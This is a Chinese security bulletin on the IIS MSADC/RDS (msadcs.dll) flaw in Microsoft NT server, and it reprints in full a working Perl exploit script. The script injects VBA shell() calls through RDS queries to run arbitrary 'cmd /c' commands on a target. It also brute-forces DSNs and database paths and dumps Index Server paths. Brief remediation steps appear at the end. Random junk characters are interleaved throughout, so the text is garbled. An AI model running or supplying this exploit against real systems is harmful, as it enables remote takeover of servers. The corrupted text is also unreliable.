IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]-#/wC[$l=
}+/Vk 涉及程序:
DcaKGjp Microsoft NT server
|;Jt*
_ sxF2ku4A 描述:
~e[qh+ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
0$Mxu7 / Sb2_&5 详细:
,Q Ge=Exn 如果你没有时间读详细内容的话,就删除:
/[>_Ry, c:\Program Files\Common Files\System\Msadc\msadcs.dll
R7z @y o 有关的安全问题就没有了。
N6_1iIM )eZuG S 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
-t<1A8% (Lz|o!> 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Q-R?y+| x 关于利用ODBC远程漏洞的描述,请参看:
O z(=%oS o+}1M http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4PS| p</t##]3ks 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
GGHeC/4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp l>
H'PP~ WixEnsJ 这里不再论述。
NqKeQezX 8|i<4> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
c%b|+4
}x GcO:!b*YMp /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:f7!?^;y> 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
.7Qqs=Au RJDk7{( A-myY30 #将下面这段保存为txt文件,然后: "perl -x 文件名"
"X?Zw$gRud v?3xWXX, #!perl
o\Fv~^ #
W4nn)qBrh # MSADC/RDS 'usage' (aka exploit) script
,s}&|+
'" #
uInI{> # by rain.forest.puppy
M{)eA<6 #
A\7sP = # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_f>)G3p # beta test and find errors!
.@;5" d?YSVmG use Socket; use Getopt::Std;
dQp>z%L) getopts("e:vd:h:XR", \%args);
vzSjfv t Jtp1$h print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[\Aws^fD_ [Ax:gj if (!defined $args{h} && !defined $args{R}) {
n3U|
d+ print qq~
4J=6U&b Usage: msadc.pl -h <host> { -d <delay> -X -v }
;cL+=! -h <host> = host you want to scan (ip or domain)
nHXPEbq-g -d <seconds> = delay between calls, default 1 second
/:\27n -X = dump Index Server path table, if available
4UW)XLu6T7 -v = verbose
6=Q6J -e = external dictionary file for step 5
Ax@7RJ|| Q9p2.!/C1 Or a -R will resume a command session
kMEXg zl 3ErV" R4"$ ~; exit;}
5?(dI9A"K <H<Aba9\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
WyQ8}]1b if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
,_7m<(/f if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
X>yE<ni if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
TOP,]N/F
H $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
dR,a0+! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
g?j^d: "<&o;x< if (!defined $args{R}){ $ret = &has_msadc;
#sv}%oV,F die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
l_2l/ff9 m\
qR myO print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Q>w)b]d~c . "cmd /c ";
wax^iL! $in=<STDIN>; chomp $in;
b=W kRj $command="cmd /c " . $in ;
kwS[,Qy\ [CV0sYEA if (defined $args{R}) {&load; exit;}
q~AvxO vu*{+YpH print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
7n;a_Z0s$ &try_btcustmr;
drwxrZt =''*'a-P print "\nStep 2: Trying to make our own DSN...";
Y<@_d &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
d|UH AX ,gkWksl9 print "\nStep 3: Trying known DSNs...";
U&$I!80. &known_dsn;
<A\g*ld f
e^s`dsG print "\nStep 4: Trying known .mdbs...";
= K`]cEL &known_mdb;
I;$tBgOWq !+UXu]kA if (defined $args{e}){
eIPk$j{e print "\nStep 5: Trying dictionary of DSN names...";
xAn|OSe &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~7\`qH )kKeA print "Sorry Charley...maybe next time?\n";
&Dp& exit;
9]{Ss$W3x t[ b(erO' ##############################################################################
dj 6Lf fl_a@QdB# sub sendraw { # ripped and modded from whisker
'P&r^V\~(/ sleep($delay); # it's a DoS on the server! At least on mine...
mII8jyg*c my ($pstr)=@_;
\naG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:2{ [f+ die("Socket problems\n");
V*6&GM& if(connect(S,pack "SnA4x8",2,80,$target)){
98{n6$\ select(S); $|=1;
t#]VR7] print $pstr; my @in=<S>;
8L@@UUjr select(STDOUT); close(S);
e5ww~%, return @in;
M&/e*Ta5 } else { die("Can't connect...\n"); }}
hNp.%XnnZ IeIv k55 ##############################################################################
oye/tEMG d;r,?/C sub make_header { # make the HTTP request
Z\)P|#L$ my $msadc=<<EOT
7:.!R^5H POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
;:)u
rI? User-Agent: ACTIVEDATA
6H|T ) Host: $ip
\/y&l\ k) Content-Length: $clen
%+
MYg^ Connection: Keep-Alive
|ew:}e: k< % <%r ADCClientVersion:01.06
{N-*eV9# Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
:3}K$ R*vfp?x --!ADM!ROX!YOUR!WORLD!
n2(\pQKm Content-Type: application/x-varg
CTX%~1_`O Content-Length: $reqlen
].gC9@C:$i pl 1CEoe EOT
+k ; $msadc=~s/\n/\r\n/g;
7H[.o~\ return $msadc;}
6SSrkj }U ?Y$3R"p@3` ##############################################################################
6<n+p'+n DEzL] 1;P sub make_req { # make the RDS request
.Ag)/Xm(? my ($switch, $p1, $p2)=@_;
Oo%%f+ my $req=""; my $t1, $t2, $query, $dsn;
@d[)i,d:G XToYtdt2 if ($switch==1){ # this is the btcustmr.mdb query
<,nd]a $query="Select * from Customers where City=" . make_shell();
J8`vk#5 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
f%STkL) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
IS!]!s'EI Lb2/ Te* elsif ($switch==2){ # this is general make table query
*>j4tA{b@v $query="create table AZZ (B int, C varchar(10))";
TrHUM4 $dsn="$p1";}
@ v}M\$N? T!5g:;~y > elsif ($switch==3){ # this is general exploit table query
.lppT)P $query="select * from AZZ where C=" . make_shell();
!AL?bW $dsn="$p1";}
_3_o/I (Z>vbi% elsif ($switch==4){ # attempt to hork file info from index server
!z?:Y#P3 $query="select path from scope()";
ZpU4"x> $dsn="Provider=MSIDXS;";}
?eR^\-e `&A-m8X elsif ($switch==5){ # bad query
E>}3MfL $query="select";
EPeV1$ $dsn="$p1";}
}Ot2; T 54&&=NVs| $t1= make_unicode($query);
RYX=;n $t2= make_unicode($dsn);
<$'FTv $req = "\x02\x00\x03\x00";
0OVxx>p/x $req.= "\x08\x00" . pack ("S1", length($t1));
7:S)J~s*O $req.= "\x00\x00" . $t1 ;
_d3/="= $req.= "\x08\x00" . pack ("S1", length($t2));
Ml,87fo $req.= "\x00\x00" . $t2 ;
Gh{vExH@5( $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2`h return $req;}
X57\sggK "1$hfs ##############################################################################
p\,PY sMb+4{W&6 sub make_shell { # this makes the shell() statement
]3yaIlpD1 return "'|shell(\"$command\")|'";}
>K;C?gHo ljj}XJQ ##############################################################################
<F5x}i~(C N%QVkuCbM sub make_unicode { # quick little function to convert to unicode
[6a&9#[A my ($in)=@_; my $out;
80O[pf*? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Z <tJ+ return $out;}
V8J!8=2 ,O"zz7 ##############################################################################
;z^C\=om Ha/-v?E sub rdo_success { # checks for RDO return success (this is kludge)
?bK^IHh my (@in) = @_; my $base=content_start(@in);
W6uz
G if($in[$base]=~/multipart\/mixed/){
;(9q, ) return 1 if( $in[$base+10]=~/^\x09\x00/ );}
kA<58,! return 0;}
Y-c_ 2 ) C+c;UzbD ##############################################################################
t[ ^68] @{UtS2L sub make_dsn { # this makes a DSN for us
9.$k^|~ my @drives=("c","d","e","f");
XhJbBVS| print "\nMaking DSN: ";
/*{s1Zcb foreach $drive (@drives) {
|<1 print "$drive: ";
WJ$!W my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ukRbSJ5a5 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@,v.Y6Ge . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
aUX.4#|% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
FOd)zU*L2 return 0 if $2 eq "404"; # not found/doesn't exist
=P<7tsSuoK if($2 eq "200") {
&p#.m"Oon foreach $line (@results) {
N[AX]gOJ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Q>emyij } return 0;}
ibskce{H 6N'v`p8 ##############################################################################
N!:&Xz |\/Y<_)JD sub verify_exists {
~!a~ -:# my ($page)=@_;
^iaG>rvA my @results=sendraw("GET $page HTTP/1.0\n\n");
8!{F6DG return $results[0];}
^<O=<tN\ MHkTN ##############################################################################
Kr'5iFK7 $&iw (BIq sub try_btcustmr {
-%^KDyZ<& my @drives=("c","d","e","f");
%) 8 UyZG my @dirs=("winnt","winnt35","winnt351","win","windows");
bjEm=4FI; &]Q\@;]Aq foreach $dir (@dirs) {
StJ&YYdD print "$dir -> "; # fun status so you can see progress
YYUWBnf30G foreach $drive (@drives) {
V8.o}BWY print "$drive: "; # ditto
#Y;_W;# $reqlen=length( make_req(1,$drive,$dir) ) - 28;
'm,3znX!c $reqlenlen=length( "$reqlen" );
9My
|G)M6 $clen= 206 + $reqlenlen + $reqlen;
I&O}U|l06 h"{Z%XPX# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\vvV=iw if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
L<**J\=7M else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
PYp<eo\ TS{ycGY ##############################################################################
*CtOQ EpCsJ08K sub odbc_error {
..xg4V/ my (@in)=@_; my $base;
&k4)&LQJ my $base = content_start(@in);
Ec^x if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
hWujio/h $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h{&}p-X&[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qZ6Mk9@M $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
MjW g return $in[$base+4].$in[$base+5].$in[$base+6];}
8QN#PaY print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=)GhrWeVi4 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
m:,S1V_jl $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
t
Tky ErNL^Se1 ##############################################################################
|i7j}i W7QcDR y6 sub verbose {
2Po e-= my ($in)=@_;
#PpmR_IX return if !$verbose;
2.zx print STDOUT "\n$in\n";}
QFm~wv8: q;p:)Q" ##############################################################################
VnB"0"%w b]Xc5Dp{ sub save {
,dM}B- my ($p1, $p2, $p3, $p4)=@_;
{ ke}W open(OUT, ">rds.save") || print "Problem saving parameters...\n";
mPy=,xYyC print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
G92Ya^` close OUT;}
JC6Bs`=s~ O*dN+o ##############################################################################
R7)2@;i 6ZCSCBW sub load {
PO,mg?JG( my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1 U|IN= open(IN,"<rds.save") || die("Couldn't open rds.save\n");
k%5o5Hx @p=<IN>; close(IN);
O.%'
47A $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`c zL$tN<P $target= inet_aton($ip) || die("inet_aton problems");
+p:#$R)MW print "Resuming to $ip ...";
$-zt,iRyV $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
al9L+ruR if($p[1]==1) {
B1GBQH$Ms $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
GoK[tjb $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
-c"nx$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
E{m\LUd^
: if (rdo_success(@results)){print "Success!\n";}
j~d<n_ else { print "failed\n"; verbose(odbc_error(@results));}}
jU~
!*] elsif ($p[1]==3){
Hvto]~=GQ if(run_query("$p[3]")){
nS8oSs_ print "Success!\n";} else { print "failed\n"; }}
QN!$4 1A?{ elsif ($p[1]==4){
HD1+0< if(run_query($drvst . "$p[3]")){
[f9U9.fR print "Success!\n"; } else { print "failed\n"; }}
#@QZ exit;}
zoUM<6q >8$]g ##############################################################################
&>
Myf@ tCFXb6Cz sub create_table {
dy^Zlu`
f my ($in)=@_;
~@=*JzP? $reqlen=length( make_req(2,$in,"") ) - 28;
&QaFX,N" $reqlenlen=length( "$reqlen" );
DdY89R 6 $clen= 206 + $reqlenlen + $reqlen;
/~?'zr my @results=sendraw(make_header() . make_req(2,$in,""));
C 'YL9r-G return 1 if rdo_success(@results);
U8+5{,$\. my $temp= odbc_error(@results); verbose($temp);
{G:dhi return 1 if $temp=~/Table 'AZZ' already exists/;
Q:6i
3 Nr/ return 0;}
aXAV`%b 'rZYl Qm ##############################################################################
kf3 u',}R BB&7VSgc- sub known_dsn {
<<,YgRl2 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
95
7Cr my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
+}eGCZra
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
rq;Xcc "banner", "banners", "ads", "ADCDemo", "ADCTest");
&R? \q* hx4X#_)v foreach $dSn (@dsns) {
8CR b6 print ".";
aNX M~;5~ next if (!is_access("DSN=$dSn"));
EZ6\pyNB0# if(create_table("DSN=$dSn")){
To_Y
8 G print "$dSn successful\n";
u|v2J/_5Y if(run_query("DSN=$dSn")){
>h?!6L- d print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E;Akm': print "Something's borked. Use verbose next time\n";}}} print "\n";}
zGfF.q} ^W&qTSjh ##############################################################################
9~
[Sio~ \yIan<q sub is_access {
jF5Y-CX my ($in)=@_;
^EK]z8;| $reqlen=length( make_req(5,$in,"") ) - 28;
A2fc_A/a $reqlenlen=length( "$reqlen" );
sp=;i8Y 3 $clen= 206 + $reqlenlen + $reqlen;
8.9Z0 my @results=sendraw(make_header() . make_req(5,$in,""));
tVB9kxtE my $temp= odbc_error(@results);
f-lM[\ma_ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
IYIlab\TZ return 0;}
1{TmK9U =0Z^q0. ##############################################################################
|\PI"rW pX5#!) sub run_query {
%XX(x'^4 my ($in)=@_;
~N<zv({lG $reqlen=length( make_req(3,$in,"") ) - 28;
5crd.1@^ $reqlenlen=length( "$reqlen" );
0X.(BRI~6p $clen= 206 + $reqlenlen + $reqlen;
eXB'>#&s my @results=sendraw(make_header() . make_req(3,$in,""));
?AMn>v return 1 if rdo_success(@results);
?X'm>R. @ my $temp= odbc_error(@results); verbose($temp);
2pKkg>/S return 0;}
G?p !*7N p_^Jr*Mv ##############################################################################
=;hz,+ it
Byw1/ sub known_mdb {
(n4\$LdP- my @drives=("c","d","e","f","g");
3`%]3qd} my @dirs=("winnt","winnt35","winnt351","win","windows");
ljr?Z,R4 my $dir, $drive, $mdb;
3PmM+}j3 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
gk & #qx$ p # this is sparse, because I don't know of many
2P`Z>_ my @sysmdbs=( "\\catroot\\icatalog.mdb",
:5YL!D/& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
DZ-2Z@{PX "\\system32\\certmdb.mdb",
C;mcb$@ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Pv- i. eflmD$]SW my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
L5 -p0O`R "\\cfusion\\cfapps\\forums\\forums_.mdb",
O[$,e% "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
NNOemTh "\\cfusion\\cfapps\\security\\realm_.mdb",
rKhhx "\\cfusion\\cfapps\\security\\data\\realm.mdb",
0|a ,bwZ "\\cfusion\\database\\cfexamples.mdb",
mE|?0mRA % "\\cfusion\\database\\cfsnippets.mdb",
zla^j, "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
SauX C "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
RgB5'$x} "\\cfusion\\brighttiger\\database\\cleam.mdb",
(hB+DPi "\\cfusion\\database\\smpolicy.mdb",
})?t:zX#* "\\cfusion\\database\cypress.mdb",
jN[P$}#b` "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/AT2<w "\\website\\cgi-win\\dbsample.mdb",
l2Gtw*i_I "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
$(3mpQAg "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
tsYBZaH ); #these are just
50<QF foreach $drive (@drives) {
QPc4bg\J~t foreach $dir (@dirs){
ZOAHM1ci foreach $mdb (@sysmdbs) {
&nKb<o print ".";
W 'w{}| if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^k*h print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
\LN!k-c if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
_l{`lQ} print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
*VuiEBG } else { print "Something's borked. Use verbose next time\n"; }}}}}
zs=[C+Z\ [>IV#6 $ foreach $drive (@drives) {
'<Fr}Cn foreach $mdb (@mdbs) {
!_yWe print ".";
e&R?9z-* if(create_table($drv . $drive . $dir . $mdb)){
S)?V;@p6 print "\n" . $drive . $dir . $mdb . " successful\n";
%0y_WIjz if(run_query($drv . $drive . $dir . $mdb)){
D1ep7ykY print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
43'!<[?x } else { print "Something's borked. Use verbose next time\n"; }}}}
h4 X=d5qd }
m }J@w~# 8q}955Nl ##############################################################################
4X}.aZO&b rf ?\s/#OY sub hork_idx {
wr) \GJ#> print "\nAttempting to dump Index Server tables...\n";
iImy"$yX{ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Bu ]PNKIi $reqlen=length( make_req(4,"","") ) - 28;
a3f-9LN $reqlenlen=length( "$reqlen" );
hw @)W $clen= 206 + $reqlenlen + $reqlen;
(D<_
iV my @results=sendraw2(make_header() . make_req(4,"",""));
:{g;J if (rdo_success(@results)){
hI$IBf> my $max=@results; my $c; my %d;
-eQ>3x&3r for($c=19; $c<$max; $c++){
f>!H<4
] $results[$c]=~s/\x00//g;
+u[^@>_I0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
I2&R+~ktR $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}!`_Bz: $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
"hbCP4 $d{"$1$2"}="";}
#n_ gry!5 foreach $c (keys %d){ print "$c\n"; }
|7$Q'3V } else {print "Index server doesn't seem to be installed.\n"; }}
B-1Kfc D;Bij= ##############################################################################
Qo5yfdR -$A
>b8 sub dsn_dict {
2+oS'nL open(IN, "<$args{e}") || die("Can't open external dictionary\n");
t+l{D#?a
while(<IN>){
O30eq 7( $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)` ^/Dj; next if (!is_access("DSN=$dSn"));
S^ q%+Z if(create_table("DSN=$dSn")){
jap5FG+2 print "$dSn successful\n";
{0o,2]o!: if(run_query("DSN=$dSn")){
YXlaE=9bn print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/a .XWfu print "Something's borked. Use verbose next time\n";}}}
v;WfcpWq2 print "\n"; close(IN);}
{hH8+4c7 w;wgh`ur ##############################################################################
CZzgPId%x 3+4U?~^k* sub sendraw2 { # ripped and modded from whisker
G'<Ie@$6l sleep($delay); # it's a DoS on the server! At least on mine...
<1pRAN0 my ($pstr)=@_;
HYwtGj~5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4}r.g0L die("Socket problems\n");
cHAq[Ebp2! if(connect(S,pack "SnA4x8",2,80,$target)){
}~+q S` print "Connected. Getting data";
M/abd 7q open(OUT,">raw.out"); my @in;
'3uN]-A>D select(S); $|=1; print $pstr;
=j!nt8]8 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
cD5N'3 close(OUT); select(STDOUT); close(S); return @in;
\hO}3;*& } else { die("Can't connect...\n"); }}
sDZ<XA ?X'l&k> ##############################################################################
n|'}W+ CxV$_J sub content_start { # this will take in the server headers
,{jF)NQaP my (@in)=@_; my $c;
3-T"[tCe for ($c=1;$c<500;$c++) {
k++" if($in[$c] =~/^\x0d\x0a/){
Yma-$ytp if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
f{w[H S,z else { return $c+1; }}}
KLpFW} return -1;} # it should never get here actually
~5;2 ni8n m:W+s4!E ##############################################################################
r]B`\XWz xFj<KvV[ sub funky {
zLSha\X my (@in)=@_; my $error=odbc_error(@in);
,ieew` if($error=~/ADO could not find the specified provider/){
d9.I83SS print "\nServer returned an ADO miscofiguration message\nAborting.\n";
k fY0u exit;}
O|mWQp^?q if($error=~/A Handler is required/){
):st-I!o print "\nServer has custom handler filters (they most likely are patched)\n";
(J5M+K\H exit;}
u|sdQ if($error=~/specified Handler has denied Access/){
}Ryrd!3bY print "\nServer has custom handler filters (they most likely are patched)\n";
[l*;+N+ exit;}}
APv&
^\oUH Rebo.6rG ##############################################################################
G\B:iyKl ;XI=Y"h{% sub has_msadc {
ZRP[N)Ld$ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Y?4N%c_; my $base=content_start(@results);
0/JTbf. CX return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
,aU8.
J_U return 0;}
THcX.%ToT B42qiV2/k ########################
P0l.sVqL *EF`s~
:+v4,=fHy 解决方案:
d:g0XP 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
2rrC y C 2、移除web 目录: /msadc